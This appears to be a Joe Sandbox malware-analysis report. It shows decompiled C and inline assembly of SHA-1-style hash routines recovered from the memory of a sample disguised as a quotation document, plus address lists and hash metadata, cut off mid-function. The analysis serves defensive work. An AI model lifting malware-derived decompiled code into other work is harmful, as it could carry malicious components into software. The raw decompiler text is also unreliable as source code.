					_t507 = _t504 + ( !_t362 & _t289 | _t418 & _t362) +  *((intOrPtr*)(_t546 + _t468 * 4 - 0x13c)) + _v16 + 0x5a827999;
					_t409 = _v8;
					asm("ror ecx, 0x2");
					_t469 = _t468 + 5;
					_t322 = _t507;
					_v12 = _t322;
					_v8 = _t469;
				} while (_t469 < 0x14);
				_t470 = 0x14;
				do {
					asm("rol esi, 0x5");
					asm("ror eax, 0x2");
					_v16 = _t409;
					_t510 = _t507 + (_t409 ^ _t362 ^ _t280) +  *((intOrPtr*)(_t546 + _t470 * 4 - 0x14c)) + _v16 + 0x6ed9eba1;
					_t336 = _v12;
					_v12 = _t510;
					asm("rol esi, 0x5");
					_t425 = _t510 + (_t362 ^ _t280 ^ _t336) +  *((intOrPtr*)(_t546 + _t470 * 4 - 0x148)) + _v16 + 0x6ed9eba1;
					asm("ror ebx, 0x2");
					_t513 = _t280;
					_v16 = _t362;
					_t369 = _v12;
					_v12 = _t425;
					asm("rol edx, 0x5");
					asm("ror ecx, 0x2");
					_t293 = _t425 + (_t280 ^ _t336 ^ _t369) +  *((intOrPtr*)(_t546 + _t470 * 4 - 0x144)) + _v16 + 0x6ed9eba1;
					_t428 = _v12;
					_v8 = _t336;
					_v8 = _t369;
					_v12 = _t293;
					asm("rol eax, 0x5");
					_t470 = _t470 + 5;
					_t362 = _v12;
					asm("ror edx, 0x2");
					_t147 = _t513 + 0x6ed9eba1; // 0x6ed9eb9f
					_t514 = _t293 + (_t336 ^ _v8 ^ _t428) +  *((intOrPtr*)(_t546 + _t470 * 4 - 0x154)) + _t147;
					_t296 = _v8;
					_v8 = _t428;
					_v12 = _t514;
					asm("rol esi, 0x5");
					_t409 = _v8;
					_t507 = _t514 + (_t296 ^ _v8 ^ _t362) +  *((intOrPtr*)(_t546 + _t470 * 4 - 0x150)) + _t336 + 0x6ed9eba1;
					_v16 = _t296;
					_t280 = _v12;
					asm("ror ecx, 0x2");
					_v12 = _t507;
				} while (_t470 < 0x28);
				_v8 = 0x28;
				do {
					asm("rol esi, 0x5");
					_v16 = _t409;
					asm("ror eax, 0x2");
					_t518 = ((_t362 | _t280) & _t409 | _t362 & _t280) +  *((intOrPtr*)(_t546 + _v8 * 4 - 0x14c)) + _t507 + _v16 - 0x70e44324;
					_t476 = _v12;
					_v12 = _t518;
					asm("rol esi, 0x5");
					_t342 = _v8;
					asm("ror edi, 0x2");
					_t437 = ((_t280 | _t476) & _t362 | _t280 & _t476) +  *((intOrPtr*)(_t546 + _t342 * 4 - 0x148)) + _t518 + _v16 - 0x70e44324;
					_v16 = _t362;
					_t373 = _v12;
					_v12 = _t437;
					asm("rol edx, 0x5");
					_v8 = _t280;
					_t439 = ((_t476 | _t373) & _t280 | _t476 & _t373) +  *((intOrPtr*)(_t546 + _t342 * 4 - 0x144)) + _t437 + _v16 - 0x70e44324;
					asm("ror ecx, 0x2");
					_v16 = _v8;
					_t300 = _v12;
					_v8 = _t476;
					_v12 = _t439;
					asm("rol edx, 0x5");
					asm("ror eax, 0x2");
					_t530 = ((_t373 | _t300) & _t476 | _t373 & _t300) +  *((intOrPtr*)(_t546 + _t342 * 4 - 0x140)) + _t439 + _v16 - 0x70e44324;
					_v16 = _v8;
					_t442 = _t373;
					_t362 = _v12;
					_v8 = _t442;
					_v12 = _t530;
					asm("rol esi, 0x5");
					_v16 = _v8;
					_t507 = ((_t300 | _t362) & _t442 | _t300 & _t362) +  *((intOrPtr*)(_t546 + _t342 * 4 - 0x13c)) + _t530 + _v16 - 0x70e44324;
					_t409 = _t300;
					_t280 = _v12;
					asm("ror ecx, 0x2");
					_v12 = _t507;
					_t343 = _t342 + 5;
					_v8 = _t343;
				} while (_t343 < 0x3c);
				_t484 = 0x3c;
				_v8 = 0x3c;
				do {
					asm("rol esi, 0x5");
					_t485 = _v8;
					asm("ror eax, 0x2");
					_t533 = (_t409 ^ _t362 ^ _t280) +  *((intOrPtr*)(_t546 + _t484 * 4 - 0x14c)) + _t507 + _v16 - 0x359d3e2a;
					_t348 = _v12;
					_v16 = _t409;
					_v12 = _t533;
					asm("rol esi, 0x5");
					asm("ror ebx, 0x2");
					_t450 = (_t362 ^ _t280 ^ _t348) +  *((intOrPtr*)(_t546 + _t485 * 4 - 0x148)) + _t533 + _v16 - 0x359d3e2a;
					_v16 = _t362;
					_t374 = _v12;
					_v12 = _t450;
					asm("rol edx, 0x5");
					_v16 = _t280;
					asm("ror ecx, 0x2");
					_t304 = (_t280 ^ _t348 ^ _t374) +  *((intOrPtr*)(_t546 + _t485 * 4 - 0x144)) + _t450 + _v16 - 0x359d3e2a;
					_t409 = _v12;
					_v12 = _t304;
					asm("rol eax, 0x5");
					_v16 = _t348;
					_t540 = (_t348 ^ _t374 ^ _t409) +  *((intOrPtr*)(_t546 + _t485 * 4 - 0x140)) + _t304 + _v16 - 0x359d3e2a;
					_t306 = _t374;
					_v8 = _t348;
					asm("ror edx, 0x2");
					_v8 = _t374;
					_t362 = _v12;
					_v12 = _t540;
					asm("rol esi, 0x5");
					_t484 = _t485 + 5;
					_t507 = (_t306 ^ _t409 ^ _t362) +  *((intOrPtr*)(_t546 + _t485 * 4 - 0x13c)) + _t540 + _v16 - 0x359d3e2a;
					_v16 = _t306;
					_t280 = _v12;
					asm("ror ecx, 0x2");
					_v8 = _t409;
					_v12 = _t507;
					_v8 = _t484;
				} while (_t484 < 0x50);
				_t486 = _a4;
				_t486[2] = _t486[2] + _t362;
				_t486[3] = _t486[3] + _t409;
				_t312 = _t486[4] + _v16;
				 *_t486 =  *_t486 + _t507;
				_t486[1] = _t486[1] + _t280;
				_t486[4] = _t312;
				_t486[0x17] = 0;
				return _t312;
			}

0x00408c71
0x00408c7b
0x00408c7f
0x00408c81
0x00408c81
0x00408c84
0x00408ca6
0x00408ccc
0x00408cf2
0x00408d14
0x00408d1b
0x00408d1e
0x00408d21
0x00408d2a
0x00408d30
0x00408d37
0x00408d48
0x00408d4b
0x00408d4e
0x00408d52
0x00408d54
0x00408d56
0x00408d5f
0x00408d62
0x00408d65
0x00408d70
0x00408d76
0x00408d78
0x00408d78
0x00408d7b
0x00408d7e
0x00408d7e
0x00408d83
0x00408d85
0x00408d88
0x00408d8b
0x00408d91
0x00408d94
0x00408d97
0x00408da0
0x00408da6
0x00408daf
0x00408dbe
0x00408dc5
0x00408dc8
0x00408dcb
0x00408dd4
0x00408dd7
0x00408dda
0x00408df2
0x00408df9
0x00408dfb
0x00408dfe
0x00408e01
0x00408e0a
0x00408e11
0x00408e14
0x00408e17
0x00408e26
0x00408e2d
0x00408e30
0x00408e33
0x00408e3c
0x00408e46
0x00408e49
0x00408e55
0x00408e58
0x00408e5f
0x00408e62
0x00408e65
0x00408e6a
0x00408e6d
0x00408e76
0x00408e87
0x00408e8a
0x00408e8d
0x00408e94
0x00408e97
0x00408e9a
0x00408e9d
0x00408e9f
0x00408ea2
0x00408ea5
0x00408eae
0x00408eb3
0x00408eb3
0x00408ec8
0x00408ecb
0x00408ece
0x00408ed5
0x00408ed8
0x00408edb
0x00408ef0
0x00408ef7
0x00408efa
0x00408efe
0x00408f01
0x00408f06
0x00408f09
0x00408f18
0x00408f1b
0x00408f22
0x00408f25
0x00408f28
0x00408f2b
0x00408f2e
0x00408f36
0x00408f44
0x00408f47
0x00408f4a
0x00408f4a
0x00408f51
0x00408f54
0x00408f57
0x00408f5f
0x00408f6d
0x00408f70
0x00408f77
0x00408f7a
0x00408f7d
0x00408f80
0x00408f83
0x00408f8c
0x00408f93
0x00408f93
0x00408f99
0x00408fb2
0x00408fb5
0x00408fbc
0x00408fbf
0x00408fc2
0x00408fd4
0x00408fde
0x00408fe1
0x00408fea
0x00408fed
0x00408ff4
0x00408ff7
0x00408ffd
0x00409010
0x00409017
0x0040901a
0x0040901d
0x00409020
0x00409029
0x0040902c
0x0040903f
0x00409042
0x0040904c
0x0040904f
0x00409051
0x0040905a
0x0040905d
0x00409070
0x00409076
0x00409079
0x00409080
0x00409082
0x00409085
0x00409088
0x0040908b
0x0040908e
0x00409091
0x0040909a
0x0040909f
0x004090a2
0x004090a2
0x004090b5
0x004090b8
0x004090bb
0x004090c2
0x004090c5
0x004090c8
0x004090cb
0x004090de
0x004090e1
0x004090ec
0x004090ef
0x004090fb
0x004090fe
0x00409104
0x00409107
0x0040910a
0x00409111
0x00409121
0x00409124
0x0040912a
0x0040912d
0x00409134
0x00409136
0x00409139
0x0040913c
0x0040913f
0x00409142
0x00409149
0x00409158
0x0040915b
0x00409162
0x00409165
0x00409168
0x0040916b
0x0040916e
0x00409171
0x00409174
0x0040917d
0x0040918e
0x00409196
0x0040919c
0x0040919f
0x004091a1
0x004091a4
0x004091a7
0x004091b4

Strings

(, xrefs: 00408F8C

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 46b9959b1ce2ca678c3e2fe0e09360b17a921c51254b6fab9c26752cc8dc435e
Instruction ID: 7e17831626205c5146cb0ab770004e801e5afa0571b3cc34f37e6adf137a6c14
Opcode Fuzzy Hash: 46b9959b1ce2ca678c3e2fe0e09360b17a921c51254b6fab9c26752cc8dc435e
Instruction Fuzzy Hash: DF022DB6E006189FDB14CF9AC8805DDFBF2FF88314F1AC1AAD859A7355D6746A418F80

Uniqueness

Uniqueness Score: -1.00%

Function 00408C70, Relevance: 1.7, Strings: 1, Instructions: 423
COMMONCrypto

Download Yara Rule

C-Code - Quality: 73%

			E00408C70(signed int* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				char _v304;
				signed char* _t277;
				signed int* _t278;
				signed int _t279;
				signed int _t285;
				signed int _t288;
				signed int _t292;
				signed int _t295;
				signed int _t299;
				signed int _t303;
				signed int _t305;
				signed int _t311;
				signed int _t318;
				signed int _t320;
				signed int _t323;
				signed int _t325;
				signed int _t334;
				signed int _t340;
				signed int _t341;
				signed int _t346;
				signed int _t353;
				signed int _t357;
				signed int _t358;
				signed int _t362;
				signed int _t365;
				signed int _t369;
				signed int _t370;
				signed int _t399;
				signed int _t404;
				signed int _t410;
				signed int _t413;
				signed int _t420;
				signed int _t423;
				signed int _t432;
				signed int _t434;
				signed int _t437;
				signed int _t445;
				signed int _t459;
				signed int _t462;
				signed int _t463;
				signed int _t464;
				signed int _t470;
				signed int _t478;
				signed int _t479;
				signed int* _t480;
				signed int* _t481;
				signed int _t488;
				signed int _t491;
				signed int _t496;
				signed int _t499;
				signed int _t502;
				signed int _t505;
				signed int _t506;
				signed int _t510;
				signed int _t522;
				signed int _t525;
				signed int _t532;
				void* _t536;

				_t481 = _a4;
				_t353 = 0;
				_t2 =  &(_t481[7]); // 0x1b
				_t277 = _t2;
				do {
					 *(_t536 + _t353 * 4 - 0x14c) = ((( *(_t277 - 1) & 0x000000ff) << 0x00000008 |  *_t277 & 0x000000ff) << 0x00000008 | _t277[1] & 0x000000ff) << 0x00000008 | _t277[2] & 0x000000ff;
					 *(_t536 + _t353 * 4 - 0x148) = (((_t277[3] & 0x000000ff) << 0x00000008 | _t277[4] & 0x000000ff) << 0x00000008 | _t277[5] & 0x000000ff) << 0x00000008 | _t277[6] & 0x000000ff;
					 *(_t536 + _t353 * 4 - 0x144) = (((_t277[7] & 0x000000ff) << 0x00000008 | _t277[8] & 0x000000ff) << 0x00000008 | _t277[9] & 0x000000ff) << 0x00000008 | _t277[0xa] & 0x000000ff;
					 *(_t536 + _t353 * 4 - 0x140) = (((_t277[0xb] & 0x000000ff) << 0x00000008 | _t277[0xc] & 0x000000ff) << 0x00000008 | _t277[0xd] & 0x000000ff) << 0x00000008 | _t277[0xe] & 0x000000ff;
					_t353 = _t353 + 4;
					_t277 =  &(_t277[0x10]);
				} while (_t353 < 0x10);
				_t278 =  &_v304;
				_v8 = 0x10;
				do {
					_t399 =  *(_t278 - 0x18);
					_t459 =  *(_t278 - 0x14);
					_t357 =  *(_t278 - 0x20) ^ _t278[5] ^  *_t278 ^ _t399;
					asm("rol ecx, 1");
					asm("rol ebx, 1");
					_t278[9] =  *(_t278 - 0x1c) ^ _t278[6] ^ _t278[1] ^ _t459;
					_t278[8] = _t357;
					_t318 = _t278[7] ^  *(_t278 - 0x10) ^ _t278[2];
					_t278 =  &(_t278[4]);
					asm("rol ebx, 1");
					asm("rol edx, 1");
					_t46 =  &_v8;
					 *_t46 = _v8 - 1;
					_t278[6] = _t318 ^ _t399;
					_t278[7] =  *(_t278 - 0x1c) ^  *(_t278 - 4) ^ _t357 ^ _t459;
				} while ( *_t46 != 0);
				_t320 =  *_t481;
				_t279 = _t481[1];
				_t358 = _t481[2];
				_t404 = _t481[3];
				_v12 = _t320;
				_v16 = _t481[4];
				_v8 = 0;
				do {
					asm("rol ebx, 0x5");
					_t462 = _v8;
					_t488 = _t320 + ( !_t279 & _t404 | _t358 & _t279) +  *((intOrPtr*)(_t536 + _t462 * 4 - 0x14c)) + _v16 + 0x5a827999;
					_t323 = _v12;
					asm("ror eax, 0x2");
					_v16 = _t404;
					_v12 = _t488;
					asm("rol esi, 0x5");
					_v8 = _t358;
					_t410 = _t488 + ( !_t323 & _t358 | _t279 & _t323) +  *((intOrPtr*)(_t536 + _t462 * 4 - 0x148)) + _v16 + 0x5a827999;
					_t491 = _t279;
					asm("ror ebx, 0x2");
					_v16 = _v8;
					_t362 = _v12;
					_v8 = _t323;
					_t325 = _v8;
					_v12 = _t410;
					asm("rol edx, 0x5");
					_t285 = _t410 + ( !_t362 & _t491 | _t323 & _t362) +  *((intOrPtr*)(_t536 + _t462 * 4 - 0x144)) + _v16 + 0x5a827999;
					_t413 = _v12;
					_v16 = _t491;
					asm("ror ecx, 0x2");
					_v8 = _t362;
					_v12 = _t285;
					asm("rol eax, 0x5");
					_v16 = _t325;
					_t496 = _t285 + ( !_t413 & _t325 | _t362 & _t413) +  *((intOrPtr*)(_t536 + _t462 * 4 - 0x140)) + _v16 + 0x5a827999;
					_t358 = _v12;
					_t288 = _v8;
					asm("ror edx, 0x2");
					_v8 = _t413;
					_v12 = _t496;
					asm("rol esi, 0x5");
					_v16 = _t288;
					_t279 = _v12;
					_t499 = _t496 + ( !_t358 & _t288 | _t413 & _t358) +  *((intOrPtr*)(_t536 + _t462 * 4 - 0x13c)) + _v16 + 0x5a827999;
					_t404 = _v8;
					asm("ror ecx, 0x2");
					_t463 = _t462 + 5;
					_t320 = _t499;
					_v12 = _t320;
					_v8 = _t463;
				} while (_t463 < 0x14);
				_t464 = 0x14;
				do {
					asm("rol esi, 0x5");
					asm("ror eax, 0x2");
					_v16 = _t404;
					_t502 = _t499 + (_t404 ^ _t358 ^ _t279) +  *((intOrPtr*)(_t536 + _t464 * 4 - 0x14c)) + _v16 + 0x6ed9eba1;
					_t334 = _v12;
					_v12 = _t502;
					asm("rol esi, 0x5");
					_t420 = _t502 + (_t358 ^ _t279 ^ _t334) +  *((intOrPtr*)(_t536 + _t464 * 4 - 0x148)) + _v16 + 0x6ed9eba1;
					asm("ror ebx, 0x2");
					_t505 = _t279;
					_v16 = _t358;
					_t365 = _v12;
					_v12 = _t420;
					asm("rol edx, 0x5");
					asm("ror ecx, 0x2");
					_t292 = _t420 + (_t279 ^ _t334 ^ _t365) +  *((intOrPtr*)(_t536 + _t464 * 4 - 0x144)) + _v16 + 0x6ed9eba1;
					_t423 = _v12;
					_v8 = _t334;
					_v8 = _t365;
					_v12 = _t292;
					asm("rol eax, 0x5");
					_t464 = _t464 + 5;
					_t358 = _v12;
					asm("ror edx, 0x2");
					_t146 = _t505 + 0x6ed9eba1; // 0x6ed9eb9f
					_t506 = _t292 + (_t334 ^ _v8 ^ _t423) +  *((intOrPtr*)(_t536 + _t464 * 4 - 0x154)) + _t146;
					_t295 = _v8;
					_v8 = _t423;
					_v12 = _t506;
					asm("rol esi, 0x5");
					_t404 = _v8;
					_t499 = _t506 + (_t295 ^ _v8 ^ _t358) +  *((intOrPtr*)(_t536 + _t464 * 4 - 0x150)) + _t334 + 0x6ed9eba1;
					_v16 = _t295;
					_t279 = _v12;
					asm("ror ecx, 0x2");
					_v12 = _t499;
				} while (_t464 < 0x28);
				_v8 = 0x28;
				do {
					asm("rol esi, 0x5");
					_v16 = _t404;
					asm("ror eax, 0x2");
					_t510 = ((_t358 | _t279) & _t404 | _t358 & _t279) +  *((intOrPtr*)(_t536 + _v8 * 4 - 0x14c)) + _t499 + _v16 - 0x70e44324;
					_t470 = _v12;
					_v12 = _t510;
					asm("rol esi, 0x5");
					_t340 = _v8;
					asm("ror edi, 0x2");
					_t432 = ((_t279 | _t470) & _t358 | _t279 & _t470) +  *((intOrPtr*)(_t536 + _t340 * 4 - 0x148)) + _t510 + _v16 - 0x70e44324;
					_v16 = _t358;
					_t369 = _v12;
					_v12 = _t432;
					asm("rol edx, 0x5");
					_v8 = _t279;
					_t434 = ((_t470 | _t369) & _t279 | _t470 & _t369) +  *((intOrPtr*)(_t536 + _t340 * 4 - 0x144)) + _t432 + _v16 - 0x70e44324;
					asm("ror ecx, 0x2");
					_v16 = _v8;
					_t299 = _v12;
					_v8 = _t470;
					_v12 = _t434;
					asm("rol edx, 0x5");
					asm("ror eax, 0x2");
					_t522 = ((_t369 | _t299) & _t470 | _t369 & _t299) +  *((intOrPtr*)(_t536 + _t340 * 4 - 0x140)) + _t434 + _v16 - 0x70e44324;
					_v16 = _v8;
					_t437 = _t369;
					_t358 = _v12;
					_v8 = _t437;
					_v12 = _t522;
					asm("rol esi, 0x5");
					_v16 = _v8;
					_t499 = ((_t299 | _t358) & _t437 | _t299 & _t358) +  *((intOrPtr*)(_t536 + _t340 * 4 - 0x13c)) + _t522 + _v16 - 0x70e44324;
					_t404 = _t299;
					_t279 = _v12;
					asm("ror ecx, 0x2");
					_v12 = _t499;
					_t341 = _t340 + 5;
					_v8 = _t341;
				} while (_t341 < 0x3c);
				_t478 = 0x3c;
				_v8 = 0x3c;
				do {
					asm("rol esi, 0x5");
					_t479 = _v8;
					asm("ror eax, 0x2");
					_t525 = (_t404 ^ _t358 ^ _t279) +  *((intOrPtr*)(_t536 + _t478 * 4 - 0x14c)) + _t499 + _v16 - 0x359d3e2a;
					_t346 = _v12;
					_v16 = _t404;
					_v12 = _t525;
					asm("rol esi, 0x5");
					asm("ror ebx, 0x2");
					_t445 = (_t358 ^ _t279 ^ _t346) +  *((intOrPtr*)(_t536 + _t479 * 4 - 0x148)) + _t525 + _v16 - 0x359d3e2a;
					_v16 = _t358;
					_t370 = _v12;
					_v12 = _t445;
					asm("rol edx, 0x5");
					_v16 = _t279;
					asm("ror ecx, 0x2");
					_t303 = (_t279 ^ _t346 ^ _t370) +  *((intOrPtr*)(_t536 + _t479 * 4 - 0x144)) + _t445 + _v16 - 0x359d3e2a;
					_t404 = _v12;
					_v12 = _t303;
					asm("rol eax, 0x5");
					_v16 = _t346;
					_t532 = (_t346 ^ _t370 ^ _t404) +  *((intOrPtr*)(_t536 + _t479 * 4 - 0x140)) + _t303 + _v16 - 0x359d3e2a;
					_t305 = _t370;
					_v8 = _t346;
					asm("ror edx, 0x2");
					_v8 = _t370;
					_t358 = _v12;
					_v12 = _t532;
					asm("rol esi, 0x5");
					_t478 = _t479 + 5;
					_t499 = (_t305 ^ _t404 ^ _t358) +  *((intOrPtr*)(_t536 + _t479 * 4 - 0x13c)) + _t532 + _v16 - 0x359d3e2a;
					_v16 = _t305;
					_t279 = _v12;
					asm("ror ecx, 0x2");
					_v8 = _t404;
					_v12 = _t499;
					_v8 = _t478;
				} while (_t478 < 0x50);
				_t480 = _a4;
				_t480[2] = _t480[2] + _t358;
				_t480[3] = _t480[3] + _t404;
				_t311 = _t480[4] + _v16;
				 *_t480 =  *_t480 + _t499;
				_t480[1] = _t480[1] + _t279;
				_t480[4] = _t311;
				_t480[0x17] = 0;
				return _t311;
			}

0x00408c7b
0x00408c7f
0x00408c81
0x00408c81
0x00408c84
0x00408ca6
0x00408ccc
0x00408cf2
0x00408d14
0x00408d1b
0x00408d1e
0x00408d21
0x00408d2a
0x00408d30
0x00408d37
0x00408d48
0x00408d4b
0x00408d4e
0x00408d52
0x00408d54
0x00408d56
0x00408d5f
0x00408d62
0x00408d65
0x00408d70
0x00408d76
0x00408d78
0x00408d78
0x00408d7b
0x00408d7e
0x00408d7e
0x00408d83
0x00408d85
0x00408d88
0x00408d8b
0x00408d91
0x00408d94
0x00408d97
0x00408da0
0x00408da6
0x00408daf
0x00408dbe
0x00408dc5
0x00408dc8
0x00408dcb
0x00408dd4
0x00408dd7
0x00408dda
0x00408df2
0x00408df9
0x00408dfb
0x00408dfe
0x00408e01
0x00408e0a
0x00408e11
0x00408e14
0x00408e17
0x00408e26
0x00408e2d
0x00408e30
0x00408e33
0x00408e3c
0x00408e46
0x00408e49
0x00408e55
0x00408e58
0x00408e5f
0x00408e62
0x00408e65
0x00408e6a
0x00408e6d
0x00408e76
0x00408e87
0x00408e8a
0x00408e8d
0x00408e94
0x00408e97
0x00408e9a
0x00408e9d
0x00408e9f
0x00408ea2
0x00408ea5
0x00408eae
0x00408eb3
0x00408eb3
0x00408ec8
0x00408ecb
0x00408ece
0x00408ed5
0x00408ed8
0x00408edb
0x00408ef0
0x00408ef7
0x00408efa
0x00408efe
0x00408f01
0x00408f06
0x00408f09
0x00408f18
0x00408f1b
0x00408f22
0x00408f25
0x00408f28
0x00408f2b
0x00408f2e
0x00408f36
0x00408f44
0x00408f47
0x00408f4a
0x00408f4a
0x00408f51
0x00408f54
0x00408f57
0x00408f5f
0x00408f6d
0x00408f70
0x00408f77
0x00408f7a
0x00408f7d
0x00408f80
0x00408f83
0x00408f8c
0x00408f93
0x00408f93
0x00408f99
0x00408fb2
0x00408fb5
0x00408fbc
0x00408fbf
0x00408fc2
0x00408fd4
0x00408fde
0x00408fe1
0x00408fea
0x00408fed
0x00408ff4
0x00408ff7
0x00408ffd
0x00409010
0x00409017
0x0040901a
0x0040901d
0x00409020
0x00409029
0x0040902c
0x0040903f
0x00409042
0x0040904c
0x0040904f
0x00409051
0x0040905a
0x0040905d
0x00409070
0x00409076
0x00409079
0x00409080
0x00409082
0x00409085
0x00409088
0x0040908b
0x0040908e
0x00409091
0x0040909a
0x0040909f
0x004090a2
0x004090a2
0x004090b5
0x004090b8
0x004090bb
0x004090c2
0x004090c5
0x004090c8
0x004090cb
0x004090de
0x004090e1
0x004090ec
0x004090ef
0x004090fb
0x004090fe
0x00409104
0x00409107
0x0040910a
0x00409111
0x00409121
0x00409124
0x0040912a
0x0040912d
0x00409134
0x00409136
0x00409139
0x0040913c
0x0040913f
0x00409142
0x00409149
0x00409158
0x0040915b
0x00409162
0x00409165
0x00409168
0x0040916b
0x0040916e
0x00409171
0x00409174
0x0040917d
0x0040918e
0x00409196
0x0040919c
0x0040919f
0x004091a1
0x004091a4
0x004091a7
0x004091b4

Strings

(, xrefs: 00408F8C

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 5b5895f0e51fce406fdbb92f5fe0f57fd39733701dba8a51bdd5afbf1107f5ef
Instruction ID: f1d44c302487b103660306cd6987bb60b95c699b99aa7ff381766033f9a4755f
Opcode Fuzzy Hash: 5b5895f0e51fce406fdbb92f5fe0f57fd39733701dba8a51bdd5afbf1107f5ef
Instruction Fuzzy Hash: 6E022DB6E006189FDB14CF9AC8805DDFBF2FF88314F1AC1AAD859A7355D6746A418F80

Uniqueness

Uniqueness Score: -1.00%

Function 00408C2A, Relevance: 1.7, Strings: 1, Instructions: 417
COMMONCrypto

Download Yara Rule

C-Code - Quality: 73%

			E00408C2A(signed int* __esi) {
				signed char* _t276;
				signed int* _t277;
				signed int _t278;
				signed int _t284;
				signed int _t287;
				signed int _t291;
				signed int _t294;
				signed int _t298;
				signed int _t302;
				signed int _t304;
				intOrPtr _t310;
				signed int _t317;
				signed int _t319;
				signed int _t322;
				signed int _t324;
				signed int _t333;
				signed int _t339;
				signed int _t340;
				signed int _t345;
				signed int _t353;
				signed int _t357;
				signed int _t358;
				signed int _t362;
				signed int _t365;
				signed int _t369;
				signed int _t370;
				signed int _t399;
				signed int _t404;
				signed int _t410;
				signed int _t413;
				signed int _t420;
				signed int _t423;
				signed int _t432;
				signed int _t434;
				signed int _t437;
				signed int _t445;
				signed int _t459;
				signed int _t462;
				signed int _t463;
				signed int _t464;
				signed int _t470;
				signed int _t478;
				signed int _t479;
				intOrPtr* _t480;
				signed int* _t482;
				signed int _t489;
				signed int _t492;
				signed int _t497;
				signed int _t500;
				signed int _t503;
				signed int _t506;
				signed int _t507;
				signed int _t511;
				signed int _t523;
				signed int _t526;
				signed int _t533;
				void* _t538;

				_t482 = __esi;
				_t353 = 0;
				_t1 =  &(_t482[7]); // 0x1b
				_t276 = _t1;
				do {
					 *(_t538 + _t353 * 4 - 0x14c) = ((( *(_t276 - 1) & 0x000000ff) << 0x00000008 |  *_t276 & 0x000000ff) << 0x00000008 | _t276[1] & 0x000000ff) << 0x00000008 | _t276[2] & 0x000000ff;
					 *(_t538 + _t353 * 4 - 0x148) = (((_t276[3] & 0x000000ff) << 0x00000008 | _t276[4] & 0x000000ff) << 0x00000008 | _t276[5] & 0x000000ff) << 0x00000008 | _t276[6] & 0x000000ff;
					 *(_t538 + _t353 * 4 - 0x144) = (((_t276[7] & 0x000000ff) << 0x00000008 | _t276[8] & 0x000000ff) << 0x00000008 | _t276[9] & 0x000000ff) << 0x00000008 | _t276[0xa] & 0x000000ff;
					 *(_t538 + _t353 * 4 - 0x140) = (((_t276[0xb] & 0x000000ff) << 0x00000008 | _t276[0xc] & 0x000000ff) << 0x00000008 | _t276[0xd] & 0x000000ff) << 0x00000008 | _t276[0xe] & 0x000000ff;
					_t353 = _t353 + 4;
					_t276 =  &(_t276[0x10]);
				} while (_t353 < 0x10);
				_t277 = _t538 - 0x12c;
				 *(_t538 - 4) = 0x10;
				do {
					_t399 =  *(_t277 - 0x18);
					_t459 =  *(_t277 - 0x14);
					_t357 =  *(_t277 - 0x20) ^ _t277[5] ^  *_t277 ^ _t399;
					asm("rol ecx, 1");
					asm("rol ebx, 1");
					_t277[9] =  *(_t277 - 0x1c) ^ _t277[6] ^ _t277[1] ^ _t459;
					_t277[8] = _t357;
					_t317 = _t277[7] ^  *(_t277 - 0x10) ^ _t277[2];
					_t277 =  &(_t277[4]);
					asm("rol ebx, 1");
					asm("rol edx, 1");
					_t45 = _t538 - 4;
					 *_t45 =  *(_t538 - 4) - 1;
					_t277[6] = _t317 ^ _t399;
					_t277[7] =  *(_t277 - 0x1c) ^  *(_t277 - 4) ^ _t357 ^ _t459;
				} while ( *_t45 != 0);
				_t319 =  *__esi;
				_t278 = __esi[1];
				_t358 = __esi[2];
				_t404 = __esi[3];
				 *(_t538 - 8) = _t319;
				 *(_t538 - 0xc) = __esi[4];
				 *(_t538 - 4) = 0;
				do {
					asm("rol ebx, 0x5");
					_t462 =  *(_t538 - 4);
					_t489 = _t319 + ( !_t278 & _t404 | _t358 & _t278) +  *((intOrPtr*)(_t538 + _t462 * 4 - 0x14c)) +  *(_t538 - 0xc) + 0x5a827999;
					_t322 =  *(_t538 - 8);
					asm("ror eax, 0x2");
					 *(_t538 - 0xc) = _t404;
					 *(_t538 - 8) = _t489;
					asm("rol esi, 0x5");
					 *(_t538 - 4) = _t358;
					_t410 = _t489 + ( !_t322 & _t358 | _t278 & _t322) +  *((intOrPtr*)(_t538 + _t462 * 4 - 0x148)) +  *(_t538 - 0xc) + 0x5a827999;
					_t492 = _t278;
					asm("ror ebx, 0x2");
					 *(_t538 - 0xc) =  *(_t538 - 4);
					_t362 =  *(_t538 - 8);
					 *(_t538 - 4) = _t322;
					_t324 =  *(_t538 - 4);
					 *(_t538 - 8) = _t410;
					asm("rol edx, 0x5");
					_t284 = _t410 + ( !_t362 & _t492 | _t322 & _t362) +  *((intOrPtr*)(_t538 + _t462 * 4 - 0x144)) +  *(_t538 - 0xc) + 0x5a827999;
					_t413 =  *(_t538 - 8);
					 *(_t538 - 0xc) = _t492;
					asm("ror ecx, 0x2");
					 *(_t538 - 4) = _t362;
					 *(_t538 - 8) = _t284;
					asm("rol eax, 0x5");
					 *(_t538 - 0xc) = _t324;
					_t497 = _t284 + ( !_t413 & _t324 | _t362 & _t413) +  *((intOrPtr*)(_t538 + _t462 * 4 - 0x140)) +  *(_t538 - 0xc) + 0x5a827999;
					_t358 =  *(_t538 - 8);
					_t287 =  *(_t538 - 4);
					asm("ror edx, 0x2");
					 *(_t538 - 4) = _t413;
					 *(_t538 - 8) = _t497;
					asm("rol esi, 0x5");
					 *(_t538 - 0xc) = _t287;
					_t278 =  *(_t538 - 8);
					_t500 = _t497 + ( !_t358 & _t287 | _t413 & _t358) +  *((intOrPtr*)(_t538 + _t462 * 4 - 0x13c)) +  *(_t538 - 0xc) + 0x5a827999;
					_t404 =  *(_t538 - 4);
					asm("ror ecx, 0x2");
					_t463 = _t462 + 5;
					_t319 = _t500;
					 *(_t538 - 8) = _t319;
					 *(_t538 - 4) = _t463;
				} while (_t463 < 0x14);
				_t464 = 0x14;
				do {
					asm("rol esi, 0x5");
					asm("ror eax, 0x2");
					 *(_t538 - 0xc) = _t404;
